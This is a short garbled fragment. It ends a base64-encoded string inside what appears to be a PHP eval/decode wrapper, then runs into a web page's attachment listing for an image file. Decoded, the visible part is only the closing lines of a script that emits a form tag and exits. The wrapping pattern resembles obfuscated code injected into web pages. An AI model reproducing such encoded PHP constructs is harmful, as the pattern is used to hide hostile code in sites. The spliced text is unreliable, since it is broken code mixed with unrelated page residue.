Jy4iXG48L2Zvcm0+Iik7fQpleGl0KCk7Cj8+")); ?>

PreviewAttachmentSize
Quota Methodologies.jpg102 KB